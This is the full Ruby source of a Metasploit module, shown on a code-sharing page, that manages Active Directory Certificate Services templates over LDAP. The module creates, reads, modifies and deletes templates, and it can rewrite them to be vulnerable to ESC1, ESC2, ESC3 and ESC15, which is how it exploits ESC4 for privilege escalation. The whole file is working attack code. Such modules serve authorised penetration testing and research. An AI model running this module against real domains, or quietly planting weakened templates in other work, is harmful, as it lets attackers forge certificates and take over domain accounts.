Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::LDAP::ActiveDirectory
9
include Msf::OptionalSession::LDAP
10
include Msf::Auxiliary::Report
11
12
IGNORED_ATTRIBUTES = [
13
'dn',
14
'distinguishedName',
15
'objectClass',
16
'cn',
17
'whenCreated',
18
'whenChanged',
19
'name',
20
'objectGUID',
21
'objectCategory',
22
'dSCorePropagationData',
23
'msPKI-Cert-Template-OID',
24
'uSNCreated',
25
'uSNChanged',
26
'displayName',
27
'instanceType',
28
'revision',
29
'msPKI-Template-Schema-Version',
30
'msPKI-Template-Minor-Revision',
31
].freeze
32
33
def initialize(info = {})
34
super(
35
update_info(
36
info,
37
'Name' => 'AD CS Certificate Template Management',
38
'Description' => %q{
39
This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain
40
Controller.
41
42
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
43
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
44
file to be specified to define the attributes. Template data files are provided to create a template that is
45
vulnerable to ESC1, ESC2, ESC3 and ESC15.
46
47
This module is capable of exploiting ESC4.
48
},
49
'Author' => [
50
'Will Schroeder', # original idea/research
51
'Lee Christensen', # original idea/research
52
'Oliver Lyak', # certipy implementation
53
'Spencer McIntyre'
54
],
55
'References' => [
56
[ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],
57
[ 'URL', 'https://github.com/GhostPack/Certify' ],
58
[ 'URL', 'https://github.com/ly4k/Certipy' ]
59
],
60
'License' => MSF_LICENSE,
61
'Actions' => [
62
['CREATE', { 'Description' => 'Create the certificate template' }],
63
['READ', { 'Description' => 'Read the certificate template' }],
64
['UPDATE', { 'Description' => 'Modify the certificate template' }],
65
['DELETE', { 'Description' => 'Delete the certificate template' }]
66
],
67
'DefaultAction' => 'READ',
68
'Notes' => {
69
'Stability' => [],
70
'SideEffects' => [CONFIG_CHANGES],
71
'Reliability' => [],
72
'AKA' => [ 'Certifry', 'Certipy' ]
73
}
74
)
75
)
76
77
register_options([
78
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
79
OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]),
80
OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ])
81
])
82
end
83
84
def run
85
ldap_connect do |ldap|
86
validate_bind_success!(ldap)
87
88
if (@base_dn = datastore['BASE_DN'])
89
print_status("User-specified base DN: #{@base_dn}")
90
else
91
print_status('Discovering base DN automatically')
92
93
unless (@base_dn = ldap.base_dn)
94
fail_with(Failure::NotFound, "Couldn't discover base DN!")
95
end
96
end
97
@ldap = ldap
98
99
result = send("action_#{action.name.downcase}")
100
print_good('The operation completed successfully!')
101
result
102
end
103
rescue Errno::ECONNRESET
104
fail_with(Failure::Disconnected, 'The connection was reset.')
105
rescue Rex::ConnectionError => e
106
fail_with(Failure::Unreachable, e.message)
107
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
108
fail_with(Failure::NoAccess, e.message)
109
rescue Net::LDAP::Error => e
110
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
111
end
112
113
def get_certificate_template
114
obj = @ldap.search(
115
filter: "(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",
116
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
117
controls: [adds_build_ldap_sd_control(owner: false, group: false, dacl: true, sacl: false)]
118
)&.first
119
fail_with(Failure::NotFound, 'The specified template was not found.') unless obj
120
121
print_good("Read certificate template data for: #{obj.dn}")
122
stored = store_loot(
123
'windows.ad.cs.template',
124
'application/json',
125
rhost,
126
dump_to_json(obj),
127
"#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json",
128
"#{datastore['CERT_TEMPLATE']} Certificate Template"
129
)
130
print_status("Certificate template data written to: #{stored}")
131
[obj, stored]
132
end
133
134
def get_pki_oids
135
return @pki_oids if @pki_oids.present?
136
137
raw_objs = @ldap.search(
138
base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",
139
filter: '(objectClass=msPKI-Enterprise-OID)'
140
)
141
validate_query_result!(@ldap.get_operation_result.table)
142
return nil unless raw_objs
143
144
@pki_oids = []
145
raw_objs.each do |raw_obj|
146
obj = {}
147
raw_obj.attribute_names.each do |attr|
148
obj[attr.to_s] = raw_obj[attr].map(&:to_s)
149
end
150
151
@pki_oids << obj
152
end
153
@pki_oids
154
end
155
156
def get_pki_oid_displayname(oid)
157
oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }
158
return nil unless oid_obj && oid_obj['displayname'].present?
159
160
oid_obj['displayname'].first
161
end
162
163
def dump_to_json(template)
164
json = {}
165
166
template.each do |attribute, values|
167
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
168
169
json[attribute] = values.map do |value|
170
value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
171
end
172
end
173
174
json.to_json
175
end
176
177
def load_from_json(json)
178
template = {}
179
180
JSON.parse(json).each do |attribute, values|
181
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
182
183
template[attribute] = values.map do |value|
184
value.scan(/../).map { |x| x.hex.chr }.join
185
end
186
end
187
188
template
189
end
190
191
def load_from_yaml(yaml)
192
template = {}
193
194
YAML.safe_load(yaml).each do |attribute, value|
195
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
196
197
if attribute.casecmp?('nTSecurityDescriptor')
198
unless value.is_a?(String)
199
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
200
end
201
202
# if the string only contains printable characters, treat it as SDDL
203
if value !~ /[^[:print:]]/
204
vprint_status("Parsing SDDL text: #{value}")
205
domain_info = adds_get_domain_info(@ldap)
206
fail_with(Failure::Unknown, 'Failed to obtain the domain SID.') unless domain_info
207
208
begin
209
descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: domain_info[:sid])
210
rescue RuntimeError => e
211
fail_with(Failure::BadConfig, e.message)
212
end
213
214
value = descriptor.to_binary_s
215
elsif !value.start_with?("\x01".b)
216
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')
217
end
218
end
219
220
value = [ value ] unless value.is_a?(Array)
221
template[attribute] = value.map(&:to_s)
222
end
223
224
template
225
end
226
227
def load_local_template
228
if datastore['TEMPLATE_FILE'].blank?
229
fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.')
230
end
231
232
unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE'])
233
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.')
234
end
235
236
file_data = File.read(datastore['TEMPLATE_FILE'])
237
if datastore['TEMPLATE_FILE'].downcase.end_with?('.json')
238
load_from_json(file_data)
239
elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml')
240
load_from_yaml(file_data)
241
else
242
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.')
243
end
244
end
245
246
def action_create
247
dn = "CN=#{datastore['CERT_TEMPLATE']},"
248
dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,'
249
dn << @base_dn
250
251
# defaults to create one from the builtin SubCA template
252
# the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted
253
attributes = {
254
'objectclass' => ['top', 'pKICertificateTemplate'],
255
'cn' => datastore['CERT_TEMPLATE'],
256
'instancetype' => '4',
257
'displayname' => datastore['CERT_TEMPLATE'],
258
'usncreated' => '16437',
259
'usnchanged' => '16437',
260
'showinadvancedviewonly' => 'TRUE',
261
'name' => datastore['CERT_TEMPLATE'],
262
'flags' => '66257',
263
'revision' => '5',
264
'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}",
265
'pkidefaultkeyspec' => '2',
266
'pkikeyusage' => "\x86\x00".b,
267
'pkimaxissuingdepth' => '-1',
268
'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'],
269
'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b,
270
'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b,
271
'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0',
272
'dscorepropagationdata' => '16010101000000.0Z',
273
'mspki-ra-signature' => '0',
274
'mspki-enrollment-flag' => '0',
275
'mspki-private-key-flag' => '16',
276
'mspki-certificate-name-flag' => '1',
277
'mspki-minimal-key-size' => '2048',
278
'mspki-template-schema-version' => '1',
279
'mspki-template-minor-revision' => '1',
280
'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18'
281
}
282
283
unless datastore['TEMPLATE_FILE'].blank?
284
load_local_template.each do |key, value|
285
key = key.downcase
286
next if %w[dn distinguishedname objectguid].include?(key)
287
288
attributes[key.downcase] = value
289
end
290
end
291
292
# can not contain dn, distinguishedname, or objectguid
293
print_status("Creating: #{dn}")
294
@ldap.add(dn: dn, attributes: attributes)
295
validate_query_result!(@ldap.get_operation_result.table)
296
dn
297
end
298
299
def action_delete
300
obj, = get_certificate_template
301
302
@ldap.delete(dn: obj['dn'].first)
303
validate_query_result!(@ldap.get_operation_result.table)
304
true
305
end
306
307
def action_read
308
obj, stored = get_certificate_template
309
310
print_status('Certificate Template:')
311
print_status(" distinguishedName: #{obj['distinguishedname'].first}")
312
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].present?
313
if obj['objectguid'].first.present?
314
object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)
315
print_status(" objectGUID: #{object_guid}")
316
end
317
318
if obj[:nTSecurityDescriptor].first.present?
319
domain_info = adds_get_domain_info(@ldap)
320
fail_with(Failure::Unknown, 'Failed to obtain the domain SID.') unless domain_info
321
322
begin
323
sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[:nTSecurityDescriptor].first)
324
sddl_text = sd.to_sddl_text(domain_sid: domain_info[:sid])
325
rescue StandardError => e
326
elog('failed to parse a binary security descriptor to SDDL', error: e)
327
else
328
print_status(" nTSecurityDescriptor: #{sddl_text}")
329
if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.full_control)
330
permissions = [ 'FULL CONTROL' ]
331
else
332
permissions = [ 'READ' ] # if we have the object, we can assume we have read permissions
333
permissions << 'WRITE' if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.new(:WP))
334
permissions << 'ENROLL' if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.certificate_enrollment)
335
permissions << 'AUTOENROLL' if adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.certificate_autoenrollment)
336
end
337
whoami = adds_get_current_user(@ldap)
338
print_status(" * Permissions applied for #{whoami[:userPrincipalName].first}: #{permissions.join(', ')}")
339
end
340
end
341
342
pki_flag = obj['flags']&.first
343
if pki_flag.present?
344
pki_flag = [obj['flags'].first.to_i].pack('l').unpack1('L')
345
print_status(" flags: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
346
%w[
347
CT_FLAG_AUTO_ENROLLMENT
348
CT_FLAG_MACHINE_TYPE
349
CT_FLAG_IS_CA
350
CT_FLAG_ADD_TEMPLATE_NAME
351
CT_FLAG_IS_CROSS_CA
352
CT_FLAG_IS_DEFAULT
353
CT_FLAG_IS_MODIFIED
354
CT_FLAG_DONOTPERSISTINDB
355
CT_FLAG_ADD_EMAIL
356
CT_FLAG_PUBLISH_TO_DS
357
CT_FLAG_EXPORTABLE_KEY
358
].each do |flag_name|
359
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
360
print_status(" * #{flag_name}")
361
end
362
end
363
end
364
365
pki_flag = obj['mspki-certificate-name-flag']&.first
366
if pki_flag.present?
367
pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
368
print_status(" msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
369
%w[
370
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
371
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME
372
CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
373
CT_FLAG_SUBJECT_ALT_REQUIRE_SPN
374
CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID
375
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
376
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
377
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
378
CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
379
CT_FLAG_SUBJECT_REQUIRE_EMAIL
380
CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
381
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
382
CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME
383
].each do |flag_name|
384
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
385
print_status(" * #{flag_name}")
386
end
387
end
388
end
389
390
pki_flag = obj['mspki-enrollment-flag']&.first
391
if pki_flag.present?
392
pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')
393
print_status(" msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
394
%w[
395
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
396
CT_FLAG_PEND_ALL_REQUESTS
397
CT_FLAG_PUBLISH_TO_KRA_CONTAINER
398
CT_FLAG_PUBLISH_TO_DS
399
CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
400
CT_FLAG_AUTO_ENROLLMENT
401
CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT
402
CT_FLAG_USER_INTERACTION_REQUIRED
403
CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE
404
CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF
405
CT_FLAG_ADD_OCSP_NOCHECK
406
CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL
407
CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS
408
CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS
409
CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT
410
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST
411
CT_FLAG_SKIP_AUTO_RENEWAL
412
].each do |flag_name|
413
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
414
print_status(" * #{flag_name}")
415
end
416
end
417
end
418
419
pki_flag = obj['mspki-private-key-flag']&.first
420
if pki_flag.present?
421
pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')
422
print_status(" msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
423
%w[
424
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL
425
CT_FLAG_EXPORTABLE_KEY
426
CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED
427
CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM
428
CT_FLAG_REQUIRE_SAME_KEY_RENEWAL
429
CT_FLAG_USE_LEGACY_PROVIDER
430
CT_FLAG_ATTEST_NONE
431
CT_FLAG_ATTEST_REQUIRED
432
CT_FLAG_ATTEST_PREFERRED
433
CT_FLAG_ATTESTATION_WITHOUT_POLICY
434
CT_FLAG_EK_TRUST_ON_USE
435
CT_FLAG_EK_VALIDATE_CERT
436
CT_FLAG_EK_VALIDATE_KEY
437
CT_FLAG_HELLO_LOGON_KEY
438
].each do |flag_name|
439
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
440
print_status(" * #{flag_name}")
441
end
442
end
443
end
444
445
pki_flag = obj['mspki-ra-signature']&.first
446
if pki_flag.present?
447
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
448
print_status(" msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
449
end
450
451
pki_flag = obj['mkpki-template-schema-version']&.first
452
if pki_flag.present?
453
print_status(" msPKI-Template-Schema-Version: #{pki_flag}")
454
end
455
456
if obj['mspki-certificate-policy'].present?
457
if obj['mspki-certificate-policy'].length == 1
458
if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?
459
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")
460
else
461
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")
462
end
463
else
464
print_status(' msPKI-Certificate-Policy:')
465
obj['mspki-certificate-policy'].each do |value|
466
if (oid_name = get_pki_oid_displayname(value)).present?
467
print_status(" * #{value} (#{oid_name})")
468
else
469
print_status(" * #{value}")
470
end
471
end
472
end
473
end
474
475
if obj['mspki-template-schema-version'].present?
476
print_status(" msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")
477
end
478
479
pki_flag = obj['pkikeyusage']&.first
480
if pki_flag.present?
481
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')
482
print_status(" pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
483
end
484
485
if obj['pkiextendedkeyusage'].present?
486
print_status(' pKIExtendedKeyUsage:')
487
obj['pkiextendedkeyusage'].each do |value|
488
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?
489
print_status(" * #{value} (#{oid.label})")
490
else
491
print_status(" * #{value}")
492
end
493
end
494
end
495
496
if obj['pkimaxissuingdepth'].present?
497
print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")
498
end
499
500
if obj['showinadvancedviewonly'].present?
501
print_status(" showInAdvancedViewOnly: #{obj['showinadvancedviewonly'].first}")
502
end
503
504
{ object: obj, file: stored }
505
end
506
507
def action_update
508
obj, = get_certificate_template
509
new_configuration = load_local_template
510
511
operations = []
512
obj.each do |attribute, value|
513
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
514
515
if new_configuration.keys.any? { |word| word.casecmp?(attribute) }
516
new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last
517
unless value.tally == new_value.tally
518
operations << [:replace, attribute, new_value]
519
end
520
elsif attribute == 'ntsecuritydescriptor'
521
# the security descriptor can't be deleted so leave it alone unless specified
522
else
523
operations << [:delete, attribute, nil]
524
end
525
end
526
527
new_configuration.each_key do |attribute|
528
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }
529
next if obj.attribute_names.any? { |i| i.casecmp?(attribute) }
530
531
operations << [:add, attribute, new_configuration[attribute]]
532
end
533
534
if operations.empty?
535
print_good('There are no changes to be made.')
536
return true
537
end
538
539
@ldap.modify(dn: obj.dn, operations: operations, controls: [adds_build_ldap_sd_control(owner: false, group: false)])
540
validate_query_result!(@ldap.get_operation_result.table)
541
true
542
end
543
end
544
545